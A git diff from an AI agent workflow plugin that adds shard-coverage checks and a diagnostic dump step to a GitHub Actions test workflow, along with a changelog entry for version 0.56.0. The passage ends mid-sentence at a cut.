diff --git a/.claude-plugin/marketplace.json b/.claude-plugin/marketplace.json index 33e1893c..68b3c9d8 100644 --- a/.claude-plugin/marketplace.json +++ b/.claude-plugin/marketplace.json @@ -9,7 +9,7 @@ "name": "uberdev", "source": "./plugins/uberdev", "description": "GitHub workflow commands + full Superpowers skill suite (brainstorm with visual companion, write-plan, execute-plan, subagent-driven-dev wave-based parallel execution, finish-branch, systematic-debugging, TDD, worktrees, parallel-agents, verification, code-review pair, writing-skills, using-uberdev primer) and PR review agents. /solve and /turbo dispatch autonomous agents via a platform-aware dispatch backend (Workflow-native solver fleets by default, with detached wezterm / background transports opt-in — cross-platform on macOS, Linux, WSL2, native Windows); /issue creates well-investigated, deduped issues.", - "version": "0.55.1", + "version": "0.56.0", "category": "workflow", "tags": [ "github", diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml index 675a1bf3..8aac1a4d 100644 --- a/.github/workflows/test.yml +++ b/.github/workflows/test.yml @@ -98,6 +98,22 @@ jobs: # right default when it is extracted and run standalone and the wrong # one when a pack has broken. run: bash tests/ci-shard-env.sh shape-checks 6 "${{ matrix.shard }}" >> "$GITHUB_ENV" + - name: Dump shard plan bytes + # DIAGNOSTIC, NEVER A GATE (#753). The plan crosses a $GITHUB_ENV file + # between the step above and the step below: this repo's shell writes + # it, the runner reads it back. The working model is that on + # windows-latest that boundary is where a trailing CR disappears while + # the interior ones survive, which is the shape that makes the harness + # membership test match only the last entry of the plan and reports a + # green job that ran one fixture. A dump of ONE side cannot tell that + # apart from a plan with no CR at all, so this step dumps both and + # probes each planned name through the harness's own rule. It exits 0 + # by design; the gates are the CR refusal in tests/ci-shard-env.sh and + # the SHARD-COVERAGE tail below. That producing half is MODELLED, not + # measured — this step is where a Windows runner settles it; see "What + # is settled, and what is still a model" in + # plugins/uberdev/docs/testing.md for the refutation condition. + run: bash tests/ci-shard-diagnose.sh dump shape-checks 6 "${{ matrix.shard }}" - name: Run shape-check tests # SYNC: this list MUST match the windows-latest job below, PLUS the # ubuntu-only Unix-runtime fixtures the Windows job intentionally skips: @@ -150,7 +166,12 @@ jobs: # planning step instead of silently running the whole suite six times. fail=0 failed="" + shard_routed=0 + shard_ran=0 + shard_ran_names="" + shard_seen_names="" run_one() { + run_one_routed=0 if [ -n "${UBERDEV_SHARD_PLAN-}" ]; then # Keyed on the argument that IS a fixture path, found by scanning. # Neither the first nor the last argument works: the interpreter @@ -175,12 +196,45 @@ jobs: esac done if [ -n "$run_one_fixture" ]; then + shard_routed=$((shard_routed + 1)) + run_one_routed=1 + # Every fixture this job OFFERS, plan membership aside. The + # coverage tail needs it to tell a plan entry that no + # invocation ever handed to this function -- one the plan + # producer grepped out of a step name:, another step's run:, + # an echo, or a trailing comment -- apart from one that WAS + # handed here and then filtered out below. Folded through the + # same sentinel-space rule as every other membership test in + # this harness, for the same undercounting reason. + case " ${shard_seen_names} " in + *" ${run_one_fixture} "*) : ;; + *) shard_seen_names="${shard_seen_names}${shard_seen_names:+ }${run_one_fixture}" ;; + esac case " ${UBERDEV_SHARD_PLAN} " in *" ${run_one_fixture} "*) : ;; *) echo "--- SKIP $* (shard ${UBERDEV_SHARD:-?}/${UBERDEV_SHARDS:-?})"; return 0 ;; esac fi fi + if [ "$run_one_routed" -eq 1 ]; then + # DISTINCT fixtures, never invocations. The plan is de-duplicated + # by its producer -- first occurrence wins -- so a fixture named by + # two run_one lines in one job contributes ONE plan entry. Tallying + # invocations here would report ran=N+1 against a plan of N and red + # a shard that had run everything it was planned; the gate below is + # an equality, so both sides must be counting the same thing. + # + # Folded through the SAME sentinel-space rule the plan gate uses, + # for the same reason: a bare substring test would let one basename + # that contains another swallow its neighbour and undercount. + case " ${shard_ran_names} " in + *" ${run_one_fixture} "*) : ;; + *) + shard_ran_names="${shard_ran_names}${shard_ran_names:+ }${run_one_fixture}" + shard_ran=$((shard_ran + 1)) + ;; + esac + fi echo "--- RUN $*" if "$@"; then echo "--- PASS $*" @@ -323,6 +377,135 @@ jobs: run_one bash tests/premerge.test.sh run_one bash tests/premerge-findings.test.sh run_one bash tests/premerge-phase5.test.sh + # SHARD-COVERAGE (#753) -- a shard that ran fewer fixtures than its + # plan named must not be able to report green. A skip is not a + # failure, so before this tail existed six windows-latest shards + # executed one fixture each and the job passed. + # + # Guarded on the plan being SET. Unset means "run everything", which + # is the documented default above and the one the standalone + # extraction of this harness relies on; that path runs against no + # plan and must keep exiting 0. + # + # The denominator is `wc -w`, which splits on ANY whitespace, while + # the membership gate above splits on spaces only. That asymmetry is + # the point: a plan whose separators carry a stray byte routes almost + # nothing while `wc -w` still reports its true length, so the guard + # disagrees with the corruption instead of inheriting it. Re-deriving + # the length the way the gate derives it would make this vacuous. + # + # The numerator counts DISTINCT fixtures for the same reason the + # denominator is de-duplicated: run_one folds repeat invocations of + # one fixture into a single tally, so a job that names a fixture on + # two lines still measures as one against the one plan entry it + # produced. Counting invocations would make this guard fire on a + # shard that ran its whole plan. + # + # No echo below may name a tests/.test.{sh,py} path: the + # fixture extractor greps the whole JOB BLOCK for exactly that shape + # once full-line comments are stripped, so an echo carrying one would + # be read back as a wiring line, enter every shard plan, and -- now + # that the comparison is an equality -- RED the shard it inflated + # rather than merely padding a number nobody compared. + # + # That convention is no longer hand-checked, and it could not honestly + # be checked from in here: the same extractor also reads step name: + # lines and other steps' run: lines, which are outside this block + # entirely, and re-deriving its regex down here would be a second + # uncompared copy of it -- the defect this suite exists to refuse. + # So the failing arm below names the shortfall BY CAUSE instead, out + # of what the harness was actually handed: a plan entry no invocation + # ever offered is reported separately from one that was offered and + # then filtered out. A stray mention now arrives as a named fixture + # with its reason attached, not as a bare count mismatch. + if [ -n "${UBERDEV_SHARD_PLAN-}" ]; then + shard_plan_len="$(printf '%s' "$UBERDEV_SHARD_PLAN" | wc -w | tr -d ' ')" + echo "=== SHARD-COVERAGE shard=${UBERDEV_SHARD:-?}/${UBERDEV_SHARDS:-?} plan=$shard_plan_len routed=$shard_routed ran=$shard_ran" + case "$shard_plan_len" in + ''|*[!0-9]*|0) + # A plan that is set but measures no entries would make the + # comparison below read `0 -ne 0` and buy a green job that ran + # nothing -- the same silent green this tail exists to refuse. + # A non-numeric length is worse: `[` exits 2, which `if` reads + # as false, so the guard would pass BY erroring out. + echo "=== SHARD-COVERAGE FAIL: the plan is set but its length reads [$shard_plan_len]." + fail=$((fail + 1)) + failed="${failed}${failed:+ | }SHARD-COVERAGE(plan length unreadable)" + ;; + *) + if [ "$shard_ran" -ne "$shard_plan_len" ]; then + echo "=== SHARD-COVERAGE FAIL: planned $shard_plan_len fixture(s), ran $shard_ran." + echo " A shard that runs fewer fixtures than its plan reports green, because a skip is not a failure." + echo " Dump the plan bytes with: bash tests/ci-shard-diagnose.sh dump " + # WHICH names went unrun, and by WHICH of the two mechanisms. + # They need opposite repairs -- one is a fixture path spelled + # somewhere in the job block that nothing invokes, the other + # is a plan whose bytes the membership test cannot match -- + # and a bare count cannot tell them apart. + # + # Built ONLY inside this arm. The verdict is still the same + # equality over the same two numbers, so nothing below can + # turn a red shard green or a green shard red; it decides + # only what an already-failing job prints. Planned entries + # are never dropped from the count to make it agree. + # + # Whitespace is canonicalised before the split, deliberately + # unlike the membership test (spaces only) and unlike the + # `wc -w` denominator above. A plan whose separators carry a + # stray CR is the case this tail was written for, and a + # splitter that inherited that byte would file every entry + # under the wrong cause -- naming the wrong cause is worse + # than naming none. + shard_unrun_mentioned="" + shard_unrun_skipped="" + shard_plan_rest="$(printf '%s' "$UBERDEV_SHARD_PLAN" | tr -s ' \t\r\n' ' ')" + while [ -n "$shard_plan_rest" ]; do + # Split by parameter expansion, never `for x in $plan`: zsh + # does not word-split an unquoted scalar and would walk the + # whole plan once, as one entry. + shard_plan_entry="${shard_plan_rest%% *}" + case "$shard_plan_rest" in + *' '*) shard_plan_rest="${shard_plan_rest#* }" ;; + *) shard_plan_rest="" ;; + esac + [ -n "$shard_plan_entry" ] || continue + case " ${shard_ran_names} " in + *" ${shard_plan_entry} "*) continue ;; + esac + case " ${shard_seen_names} " in + *" ${shard_plan_entry} "*) + shard_unrun_skipped="${shard_unrun_skipped}${shard_unrun_skipped:+ }${shard_plan_entry}" + ;; + *) + shard_unrun_mentioned="${shard_unrun_mentioned}${shard_unrun_mentioned:+ }${shard_plan_entry}" + ;; + esac + done + if [ -n "$shard_unrun_mentioned" ]; then + echo " NEVER INVOKED (planned, but no invocation in this job ever handed them to run_one): $shard_unrun_mentioned" + echo " Those names reached the plan by being MENTIONED in the job block -- a step name:, another step's run:, an echo, or a trailing comment." + echo " The plan producer greps the whole job block for fixture paths; only argv reaching run_one runs. Wire them, or stop spelling the path where it is not an invocation." + fi + if [ -n "$shard_unrun_skipped" ]; then + echo " SKIPPED (planned and handed to run_one, then filtered out by the plan-membership test): $shard_unrun_skipped" + echo " The plan value and the membership test disagree about these names -- that is what the dump above shows." + fi + if [ -z "$shard_unrun_mentioned" ] && [ -z "$shard_unrun_skipped" ]; then + # ONE cause reaches here, not two. A separator the split + # above does not recognise cannot: it merges its neighbours + # into a token no name the harness ran can match, so it + # prints in the NEVER INVOKED arm above -- as the two names + # run together -- and never gets this far. What is left is a + # plan that names one fixture twice. + echo " Every name in the plan ran, yet the counts differ: the plan names one fixture more than once, so its word count exceeds the number of distinct names run." + echo " The plan producer cannot emit that -- it de-duplicates by first occurrence and refuses a repeated name outright -- so this value did not come from it." + fi + fail=$((fail + 1)) + failed="${failed}${failed:+ | }SHARD-COVERAGE($shard_ran/$shard_plan_len)" + fi + ;; + esac + fi if [ "$fail" -ne 0 ]; then echo "=== $fail test file(s) FAILED: $failed" exit 1 @@ -355,6 +538,22 @@ jobs: # right default when it is extracted and run standalone and the wrong # one when a pack has broken. run: bash tests/ci-shard-env.sh supervision-smoke-macos 2 "${{ matrix.shard }}" >> "$GITHUB_ENV" + - name: Dump shard plan bytes + # DIAGNOSTIC, NEVER A GATE (#753). The plan crosses a $GITHUB_ENV file + # between the step above and the step below: this repo's shell writes + # it, the runner reads it back. The working model is that on + # windows-latest that boundary is where a trailing CR disappears while + # the interior ones survive, which is the shape that makes the harness + # membership test match only the last entry of the plan and reports a + # green job that ran one fixture. A dump of ONE side cannot tell that + # apart from a plan with no CR at all, so this step dumps both and + # probes each planned name through the harness's own rule. It exits 0 + # by design; the gates are the CR refusal in tests/ci-shard-env.sh and + # the SHARD-COVERAGE tail below. That producing half is MODELLED, not + # measured — this step is where a Windows runner settles it; see "What + # is settled, and what is still a model" in + # plugins/uberdev/docs/testing.md for the refutation condition. + run: bash tests/ci-shard-diagnose.sh dump supervision-smoke-macos 2 "${{ matrix.shard }}" - name: Run focused supervision smoke tests # The two dispatch-* fixtures below also run on ubuntu and Windows, but # only here do their preflight-arm rows discriminate: the resolver tries @@ -386,7 +585,12 @@ jobs: # planning step instead of silently running the whole suite six times. fail=0 failed="" + shard_routed=0 + shard_ran=0 + shard_ran_names="" + shard_seen_names="" run_one() { + run_one_routed=0 if [ -n "${UBERDEV_SHARD_PLAN-}" ]; then # Keyed on the argument that IS a fixture path, found by scanning. # Neither the first nor the last argument works: the interpreter @@ -411,12 +615,45 @@ jobs: esac done if [ -n "$run_one_fixture" ]; then + shard_routed=$((shard_routed + 1)) + run_one_routed=1 + # Every fixture this job OFFERS, plan membership aside. The + # coverage tail needs it to tell a plan entry that no + # invocation ever handed to this function -- one the plan + # producer grepped out of a step name:, another step's run:, + # an echo, or a trailing comment -- apart from one that WAS + # handed here and then filtered out below. Folded through the + # same sentinel-space rule as every other membership test in + # this harness, for the same undercounting reason. + case " ${shard_seen_names} " in + *" ${run_one_fixture} "*) : ;; + *) shard_seen_names="${shard_seen_names}${shard_seen_names:+ }${run_one_fixture}" ;; + esac case " ${UBERDEV_SHARD_PLAN} " in *" ${run_one_fixture} "*) : ;; *) echo "--- SKIP $* (shard ${UBERDEV_SHARD:-?}/${UBERDEV_SHARDS:-?})"; return 0 ;; esac fi fi + if [ "$run_one_routed" -eq 1 ]; then + # DISTINCT fixtures, never invocations. The plan is de-duplicated + # by its producer -- first occurrence wins -- so a fixture named by + # two run_one lines in one job contributes ONE plan entry. Tallying + # invocations here would report ran=N+1 against a plan of N and red + # a shard that had run everything it was planned; the gate below is + # an equality, so both sides must be counting the same thing. + # + # Folded through the SAME sentinel-space rule the plan gate uses, + # for the same reason: a bare substring test would let one basename + # that contains another swallow its neighbour and undercount. + case " ${shard_ran_names} " in + *" ${run_one_fixture} "*) : ;; + *) + shard_ran_names="${shard_ran_names}${shard_ran_names:+ }${run_one_fixture}" + shard_ran=$((shard_ran + 1)) + ;; + esac + fi echo "--- RUN $*" if "$@"; then echo "--- PASS $*" @@ -435,6 +672,135 @@ jobs: run_one bash tests/dispatch-wezterm.test.sh run_one bash tests/review-pr-workflow.test.sh run_one bash tests/atomic-move.test.sh + # SHARD-COVERAGE (#753) -- a shard that ran fewer fixtures than its + # plan named must not be able to report green. A skip is not a + # failure, so before this tail existed six windows-latest shards + # executed one fixture each and the job passed. + # + # Guarded on the plan being SET. Unset means "run everything", which + # is the documented default above and the one the standalone + # extraction of this harness relies on; that path runs against no + # plan and must keep exiting 0. + # + # The denominator is `wc -w`, which splits on ANY whitespace, while + # the membership gate above splits on spaces only. That asymmetry is + # the point: a plan whose separators carry a stray byte routes almost + # nothing while `wc -w` still reports its true length, so the guard + # disagrees with the corruption instead of inheriting it. Re-deriving + # the length the way the gate derives it would make this vacuous. + # + # The numerator counts DISTINCT fixtures for the same reason the + # denominator is de-duplicated: run_one folds repeat invocations of + # one fixture into a single tally, so a job that names a fixture on + # two lines still measures as one against the one plan entry it + # produced. Counting invocations would make this guard fire on a + # shard that ran its whole plan. + # + # No echo below may name a tests/.test.{sh,py} path: the + # fixture extractor greps the whole JOB BLOCK for exactly that shape + # once full-line comments are stripped, so an echo carrying one would + # be read back as a wiring line, enter every shard plan, and -- now + # that the comparison is an equality -- RED the shard it inflated + # rather than merely padding a number nobody compared. + # + # That convention is no longer hand-checked, and it could not honestly + # be checked from in here: the same extractor also reads step name: + # lines and other steps' run: lines, which are outside this block + # entirely, and re-deriving its regex down here would be a second + # uncompared copy of it -- the defect this suite exists to refuse. + # So the failing arm below names the shortfall BY CAUSE instead, out + # of what the harness was actually handed: a plan entry no invocation + # ever offered is reported separately from one that was offered and + # then filtered out. A stray mention now arrives as a named fixture + # with its reason attached, not as a bare count mismatch. + if [ -n "${UBERDEV_SHARD_PLAN-}" ]; then + shard_plan_len="$(printf '%s' "$UBERDEV_SHARD_PLAN" | wc -w | tr -d ' ')" + echo "=== SHARD-COVERAGE shard=${UBERDEV_SHARD:-?}/${UBERDEV_SHARDS:-?} plan=$shard_plan_len routed=$shard_routed ran=$shard_ran" + case "$shard_plan_len" in + ''|*[!0-9]*|0) + # A plan that is set but measures no entries would make the + # comparison below read `0 -ne 0` and buy a green job that ran + # nothing -- the same silent green this tail exists to refuse. + # A non-numeric length is worse: `[` exits 2, which `if` reads + # as false, so the guard would pass BY erroring out. + echo "=== SHARD-COVERAGE FAIL: the plan is set but its length reads [$shard_plan_len]." + fail=$((fail + 1)) + failed="${failed}${failed:+ | }SHARD-COVERAGE(plan length unreadable)" + ;; + *) + if [ "$shard_ran" -ne "$shard_plan_len" ]; then + echo "=== SHARD-COVERAGE FAIL: planned $shard_plan_len fixture(s), ran $shard_ran." + echo " A shard that runs fewer fixtures than its plan reports green, because a skip is not a failure." + echo " Dump the plan bytes with: bash tests/ci-shard-diagnose.sh dump " + # WHICH names went unrun, and by WHICH of the two mechanisms. + # They need opposite repairs -- one is a fixture path spelled + # somewhere in the job block that nothing invokes, the other + # is a plan whose bytes the membership test cannot match -- + # and a bare count cannot tell them apart. + # + # Built ONLY inside this arm. The verdict is still the same + # equality over the same two numbers, so nothing below can + # turn a red shard green or a green shard red; it decides + # only what an already-failing job prints. Planned entries + # are never dropped from the count to make it agree. + # + # Whitespace is canonicalised before the split, deliberately + # unlike the membership test (spaces only) and unlike the + # `wc -w` denominator above. A plan whose separators carry a + # stray CR is the case this tail was written for, and a + # splitter that inherited that byte would file every entry + # under the wrong cause -- naming the wrong cause is worse + # than naming none. + shard_unrun_mentioned="" + shard_unrun_skipped="" + shard_plan_rest="$(printf '%s' "$UBERDEV_SHARD_PLAN" | tr -s ' \t\r\n' ' ')" + while [ -n "$shard_plan_rest" ]; do + # Split by parameter expansion, never `for x in $plan`: zsh + # does not word-split an unquoted scalar and would walk the + # whole plan once, as one entry. + shard_plan_entry="${shard_plan_rest%% *}" + case "$shard_plan_rest" in + *' '*) shard_plan_rest="${shard_plan_rest#* }" ;; + *) shard_plan_rest="" ;; + esac + [ -n "$shard_plan_entry" ] || continue + case " ${shard_ran_names} " in + *" ${shard_plan_entry} "*) continue ;; + esac + case " ${shard_seen_names} " in + *" ${shard_plan_entry} "*) + shard_unrun_skipped="${shard_unrun_skipped}${shard_unrun_skipped:+ }${shard_plan_entry}" + ;; + *) + shard_unrun_mentioned="${shard_unrun_mentioned}${shard_unrun_mentioned:+ }${shard_plan_entry}" + ;; + esac + done + if [ -n "$shard_unrun_mentioned" ]; then + echo " NEVER INVOKED (planned, but no invocation in this job ever handed them to run_one): $shard_unrun_mentioned" + echo " Those names reached the plan by being MENTIONED in the job block -- a step name:, another step's run:, an echo, or a trailing comment." + echo " The plan producer greps the whole job block for fixture paths; only argv reaching run_one runs. Wire them, or stop spelling the path where it is not an invocation." + fi + if [ -n "$shard_unrun_skipped" ]; then + echo " SKIPPED (planned and handed to run_one, then filtered out by the plan-membership test): $shard_unrun_skipped" + echo " The plan value and the membership test disagree about these names -- that is what the dump above shows." + fi + if [ -z "$shard_unrun_mentioned" ] && [ -z "$shard_unrun_skipped" ]; then + # ONE cause reaches here, not two. A separator the split + # above does not recognise cannot: it merges its neighbours + # into a token no name the harness ran can match, so it + # prints in the NEVER INVOKED arm above -- as the two names + # run together -- and never gets this far. What is left is a + # plan that names one fixture twice. + echo " Every name in the plan ran, yet the counts differ: the plan names one fixture more than once, so its word count exceeds the number of distinct names run." + echo " The plan producer cannot emit that -- it de-duplicates by first occurrence and refuses a repeated name outright -- so this value did not come from it." + fi + fail=$((fail + 1)) + failed="${failed}${failed:+ | }SHARD-COVERAGE($shard_ran/$shard_plan_len)" + fi + ;; + esac + fi if [ "$fail" -ne 0 ]; then echo "=== $fail test file(s) FAILED: $failed" exit 1 @@ -477,6 +843,22 @@ jobs: # right default when it is extracted and run standalone and the wrong # one when a pack has broken. run: bash tests/ci-shard-env.sh shape-checks-windows 6 "${{ matrix.shard }}" >> "$GITHUB_ENV" + - name: Dump shard plan bytes + # DIAGNOSTIC, NEVER A GATE (#753). The plan crosses a $GITHUB_ENV file + # between the step above and the step below: this repo's shell writes + # it, the runner reads it back. The working model is that on + # windows-latest that boundary is where a trailing CR disappears while + # the interior ones survive, which is the shape that makes the harness + # membership test match only the last entry of the plan and reports a + # green job that ran one fixture. A dump of ONE side cannot tell that + # apart from a plan with no CR at all, so this step dumps both and + # probes each planned name through the harness's own rule. It exits 0 + # by design; the gates are the CR refusal in tests/ci-shard-env.sh and + # the SHARD-COVERAGE tail below. That producing half is MODELLED, not + # measured — this step is where a Windows runner settles it; see "What + # is settled, and what is still a model" in + # plugins/uberdev/docs/testing.md for the refutation condition. + run: bash tests/ci-shard-diagnose.sh dump shape-checks-windows 6 "${{ matrix.shard }}" - name: Run shape-check tests # This list MUST match the ubuntu-latest job above MINUS the ubuntu-only # Unix-runtime fixtures, which are intentionally skipped here because Git @@ -668,7 +1050,7 @@ jobs: # portable shape gates live in # premerge.test.sh, which DOES run on # both jobs) -# - agent-description-budget.test.sh (the A0-A4 probe does `import yaml` +# - agent-description-budget.test.sh (the A0-A5 probe does `import yaml` # and PyYAML is not importable on # windows-latest — the same dependency # that already declares @@ -716,7 +1098,12 @@ jobs: # planning step instead of silently running the whole suite six times. fail=0 failed="" + shard_routed=0 + shard_ran=0 + shard_ran_names="" + shard_seen_names="" run_one() { + run_one_routed=0 if [ -n "${UBERDEV_SHARD_PLAN-}" ]; then # Keyed on the argument that IS a fixture path, found by scanning. # Neither the first nor the last argument works: the interpreter @@ -741,12 +1128,45 @@ jobs: esac done if [ -n "$run_one_fixture" ]; then + shard_routed=$((shard_routed + 1)) + run_one_routed=1 + # Every fixture this job OFFERS, plan membership aside. The + # coverage tail needs it to tell a plan entry that no + # invocation ever handed to this function -- one the plan + # producer grepped out of a step name:, another step's run:, + # an echo, or a trailing comment -- apart from one that WAS + # handed here and then filtered out below. Folded through the + # same sentinel-space rule as every other membership test in + # this harness, for the same undercounting reason. + case " ${shard_seen_names} " in + *" ${run_one_fixture} "*) : ;; + *) shard_seen_names="${shard_seen_names}${shard_seen_names:+ }${run_one_fixture}" ;; + esac case " ${UBERDEV_SHARD_PLAN} " in *" ${run_one_fixture} "*) : ;; *) echo "--- SKIP $* (shard ${UBERDEV_SHARD:-?}/${UBERDEV_SHARDS:-?})"; return 0 ;; esac fi fi + if [ "$run_one_routed" -eq 1 ]; then + # DISTINCT fixtures, never invocations. The plan is de-duplicated + # by its producer -- first occurrence wins -- so a fixture named by + # two run_one lines in one job contributes ONE plan entry. Tallying + # invocations here would report ran=N+1 against a plan of N and red + # a shard that had run everything it was planned; the gate below is + # an equality, so both sides must be counting the same thing. + # + # Folded through the SAME sentinel-space rule the plan gate uses, + # for the same reason: a bare substring test would let one basename + # that contains another swallow its neighbour and undercount. + case " ${shard_ran_names} " in + *" ${run_one_fixture} "*) : ;; + *) + shard_ran_names="${shard_ran_names}${shard_ran_names:+ }${run_one_fixture}" + shard_ran=$((shard_ran + 1)) + ;; + esac + fi echo "--- RUN $*" if "$@"; then echo "--- PASS $*" @@ -827,6 +1247,135 @@ jobs: run_one bash tests/contract-markers.test.sh run_one bash tests/schema-property-reads.test.sh run_one bash tests/premerge.test.sh + # SHARD-COVERAGE (#753) -- a shard that ran fewer fixtures than its + # plan named must not be able to report green. A skip is not a + # failure, so before this tail existed six windows-latest shards + # executed one fixture each and the job passed. + # + # Guarded on the plan being SET. Unset means "run everything", which + # is the documented default above and the one the standalone + # extraction of this harness relies on; that path runs against no + # plan and must keep exiting 0. + # + # The denominator is `wc -w`, which splits on ANY whitespace, while + # the membership gate above splits on spaces only. That asymmetry is + # the point: a plan whose separators carry a stray byte routes almost + # nothing while `wc -w` still reports its true length, so the guard + # disagrees with the corruption instead of inheriting it. Re-deriving + # the length the way the gate derives it would make this vacuous. + # + # The numerator counts DISTINCT fixtures for the same reason the + # denominator is de-duplicated: run_one folds repeat invocations of + # one fixture into a single tally, so a job that names a fixture on + # two lines still measures as one against the one plan entry it + # produced. Counting invocations would make this guard fire on a + # shard that ran its whole plan. + # + # No echo below may name a tests/.test.{sh,py} path: the + # fixture extractor greps the whole JOB BLOCK for exactly that shape + # once full-line comments are stripped, so an echo carrying one would + # be read back as a wiring line, enter every shard plan, and -- now + # that the comparison is an equality -- RED the shard it inflated + # rather than merely padding a number nobody compared. + # + # That convention is no longer hand-checked, and it could not honestly + # be checked from in here: the same extractor also reads step name: + # lines and other steps' run: lines, which are outside this block + # entirely, and re-deriving its regex down here would be a second + # uncompared copy of it -- the defect this suite exists to refuse. + # So the failing arm below names the shortfall BY CAUSE instead, out + # of what the harness was actually handed: a plan entry no invocation + # ever offered is reported separately from one that was offered and + # then filtered out. A stray mention now arrives as a named fixture + # with its reason attached, not as a bare count mismatch. + if [ -n "${UBERDEV_SHARD_PLAN-}" ]; then + shard_plan_len="$(printf '%s' "$UBERDEV_SHARD_PLAN" | wc -w | tr -d ' ')" + echo "=== SHARD-COVERAGE shard=${UBERDEV_SHARD:-?}/${UBERDEV_SHARDS:-?} plan=$shard_plan_len routed=$shard_routed ran=$shard_ran" + case "$shard_plan_len" in + ''|*[!0-9]*|0) + # A plan that is set but measures no entries would make the + # comparison below read `0 -ne 0` and buy a green job that ran + # nothing -- the same silent green this tail exists to refuse. + # A non-numeric length is worse: `[` exits 2, which `if` reads + # as false, so the guard would pass BY erroring out. + echo "=== SHARD-COVERAGE FAIL: the plan is set but its length reads [$shard_plan_len]." + fail=$((fail + 1)) + failed="${failed}${failed:+ | }SHARD-COVERAGE(plan length unreadable)" + ;; + *) + if [ "$shard_ran" -ne "$shard_plan_len" ]; then + echo "=== SHARD-COVERAGE FAIL: planned $shard_plan_len fixture(s), ran $shard_ran." + echo " A shard that runs fewer fixtures than its plan reports green, because a skip is not a failure." + echo " Dump the plan bytes with: bash tests/ci-shard-diagnose.sh dump " + # WHICH names went unrun, and by WHICH of the two mechanisms. + # They need opposite repairs -- one is a fixture path spelled + # somewhere in the job block that nothing invokes, the other + # is a plan whose bytes the membership test cannot match -- + # and a bare count cannot tell them apart. + # + # Built ONLY inside this arm. The verdict is still the same + # equality over the same two numbers, so nothing below can + # turn a red shard green or a green shard red; it decides + # only what an already-failing job prints. Planned entries + # are never dropped from the count to make it agree. + # + # Whitespace is canonicalised before the split, deliberately + # unlike the membership test (spaces only) and unlike the + # `wc -w` denominator above. A plan whose separators carry a + # stray CR is the case this tail was written for, and a + # splitter that inherited that byte would file every entry + # under the wrong cause -- naming the wrong cause is worse + # than naming none. + shard_unrun_mentioned="" + shard_unrun_skipped="" + shard_plan_rest="$(printf '%s' "$UBERDEV_SHARD_PLAN" | tr -s ' \t\r\n' ' ')" + while [ -n "$shard_plan_rest" ]; do + # Split by parameter expansion, never `for x in $plan`: zsh + # does not word-split an unquoted scalar and would walk the + # whole plan once, as one entry. + shard_plan_entry="${shard_plan_rest%% *}" + case "$shard_plan_rest" in + *' '*) shard_plan_rest="${shard_plan_rest#* }" ;; + *) shard_plan_rest="" ;; + esac + [ -n "$shard_plan_entry" ] || continue + case " ${shard_ran_names} " in + *" ${shard_plan_entry} "*) continue ;; + esac + case " ${shard_seen_names} " in + *" ${shard_plan_entry} "*) + shard_unrun_skipped="${shard_unrun_skipped}${shard_unrun_skipped:+ }${shard_plan_entry}" + ;; + *) + shard_unrun_mentioned="${shard_unrun_mentioned}${shard_unrun_mentioned:+ }${shard_plan_entry}" + ;; + esac + done + if [ -n "$shard_unrun_mentioned" ]; then + echo " NEVER INVOKED (planned, but no invocation in this job ever handed them to run_one): $shard_unrun_mentioned" + echo " Those names reached the plan by being MENTIONED in the job block -- a step name:, another step's run:, an echo, or a trailing comment." + echo " The plan producer greps the whole job block for fixture paths; only argv reaching run_one runs. Wire them, or stop spelling the path where it is not an invocation." + fi + if [ -n "$shard_unrun_skipped" ]; then + echo " SKIPPED (planned and handed to run_one, then filtered out by the plan-membership test): $shard_unrun_skipped" + echo " The plan value and the membership test disagree about these names -- that is what the dump above shows." + fi + if [ -z "$shard_unrun_mentioned" ] && [ -z "$shard_unrun_skipped" ]; then + # ONE cause reaches here, not two. A separator the split + # above does not recognise cannot: it merges its neighbours + # into a token no name the harness ran can match, so it + # prints in the NEVER INVOKED arm above -- as the two names + # run together -- and never gets this far. What is left is a + # plan that names one fixture twice. + echo " Every name in the plan ran, yet the counts differ: the plan names one fixture more than once, so its word count exceeds the number of distinct names run." + echo " The plan producer cannot emit that -- it de-duplicates by first occurrence and refuses a repeated name outright -- so this value did not come from it." + fi + fail=$((fail + 1)) + failed="${failed}${failed:+ | }SHARD-COVERAGE($shard_ran/$shard_plan_len)" + fi + ;; + esac + fi if [ "$fail" -ne 0 ]; then echo "=== $fail test file(s) FAILED: $failed" exit 1 diff --git a/CHANGELOG.md b/CHANGELOG.md index e3988c66..66403177 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,69 @@ All notable changes to UberDev are documented here. The format is based on [Keep a Changelog 1.1.0](https://keepachangelog.com/en/1.1.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [0.56.0] — 2026-08-24 + +Packs #762, #763, #764, #765 and #766 as one stack, plus three rounds of +`/premerge` repair on the combined result and one pre-existing `main` red. +MINOR: #765 and #766 add behaviour (`STOP_SELF_REFERENTIAL`, the +`blocked_on_file` widening); the rest is fixes. Closes #755, #754, #753, #749 +and the frontmatter break behind #762. + +### Added — the growth ratio, and a third evidence-first stop (#765) + +`/premerge`'s loop could clear every blocker a review raised and still be +handed a fresh set next round, because a critic asked "what is wrong with +this?" samples from an unbounded set. `converge` now measures what fraction of +an attempt's blockers landed in files the *previous* repair modified, prints it +as `GROWTH=`, and stops as `STOP_SELF_REFERENTIAL` when two consecutive +eligible rounds sit at or above `CONVERGE_GROWTH_CEILING` — the loop reviewing +its own output rather than the artifact. + +A round only counts toward the streak if it did **not** reduce the +reviewer-raised blocker count; without that term the ratio rises toward 1.00 +precisely as a run converges, and a healthy 5→2→2 run stopped falsely with most +of its budget unspent. + +### Added — `blocked_on_file`, so a cross-file consequence is not lost (#766) + +Fixer waves are one agent per file. A fix whose honest scope spans two files +had no route: the agent could only refuse, and the finding survived to the next +round. Fixers now return `blocked_on_file`, and those paths enter the **next +attempt's wave plan** — never the allowed set directly, which would make a path +committable while no agent owned it. + +Carried rows gate (so they reach a fixer) but are excluded from the +fingerprints and the growth denominator (so they cannot manufacture progress), +and any row still outstanding when the loop stops is filed rather than dropped. + +### Fixed — guards that were silently vacuous + +- The `tools:` frontmatter migration (#749) turned eight `testers-*` allowlists + into real ceilings, but `StructuredOutput` was on none of them while + `testers-pipeline` dispatches all eight with a schema. The structured return + channel was gated shut; every card now grants it. +- SHARD-COVERAGE (#753) compared `run_one` *invocations* against a + *de-duplicated* plan, so a job invoking one fixture twice failed a correct + shard. It now counts distinct fixtures, and names every planned-but-unrun + fixture split by cause instead of printing a bare count mismatch. +- The unpinned-`sort`/`comm` detector required whitespace after the command + name, so `sort)` and end-of-line invocations were invisible — the guard was + green on exactly the bypass it existed to catch. +- The `tools:` 